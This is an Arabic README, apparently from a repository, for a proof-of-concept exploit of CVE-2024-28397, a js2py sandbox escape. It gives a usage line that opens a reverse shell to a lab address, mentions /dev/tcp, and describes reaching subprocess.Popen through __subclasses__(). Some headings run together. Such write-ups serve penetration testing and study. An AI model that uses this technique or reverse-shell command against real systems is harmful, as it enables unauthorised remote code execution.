
يحتوي هذا المستودع على إثبات مفهوم (PoC) للثغرة CVE-2024-28397، وهي ثغرة في مكتبة js2py تسمح بالهروب من بيئة العزل (sandbox) لتحقيق تنفيذ برمجي عن بُعد.
الوصف
يحتوي هذا المستودع على إثبات مفهوم (PoC) مبني بلغة Python لثغرة CVE-2024-28397، وهي ثغرة من نوع الهروب من بيئة العزل (Sandbox Escape) في مترجم JavaScript الخاص بـ Js2Py الخاص بـ Python. عندما يقوم التطبيق المستهدف بتقييم كود JS غير موثوق عبر Js2Py، يمكن للمهاجم الخروج من بيئة العزل وتنفيذ كود Python تعسفي. ويمكن استغلال ذلك للحصول على تنفيذ أكواد عن بُعد (RCE) وقشرة عكسية (Reverse Shell) على النظام المستهدف.
استُوحي هذا الاستغلال من مشروع CVE-2024-28397-js2py-Sandbox-Escape الخاص بـ Marven11.
إخلاء المسؤولية
تم توفير هذا السكربت لأغراض تعليمية ولاختبار الاختراق المصرّح به فقط. الاستخدام غير المصرّح به لهذا السكربت ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها يعد غير قانوني وغير أخلاقي. لا يتحمل المؤلف أي مسؤولية عن إساءة الاستخدام أو الأضرار التي يسببها هذا السكربت.
حول الثغرة
__class__.__base__.__subclasses__، مما يؤدي إلى تنفيذ كود تعسفيالميزات
المتطلبات
requests ()pip install requests/dev/tcp)الاستخدام
python3 exploit.py --target http://example.htb --lhost 10.10.14.51 --lport 4444
--target: عنوان URL الكامل لنقطة نهاية تطبيق الويب الضعيف--lhost: عنوان IP المحلي لديك (يُستخدم للقشرة العكسية)--lport: المنفذ المحلي لديك لاستقبال القشرةكيف يعمل
__class__.__base__.__subclasses__() للعثور على subprocess.Popen.Popen لفك ترميز القشرة وتنفيذها.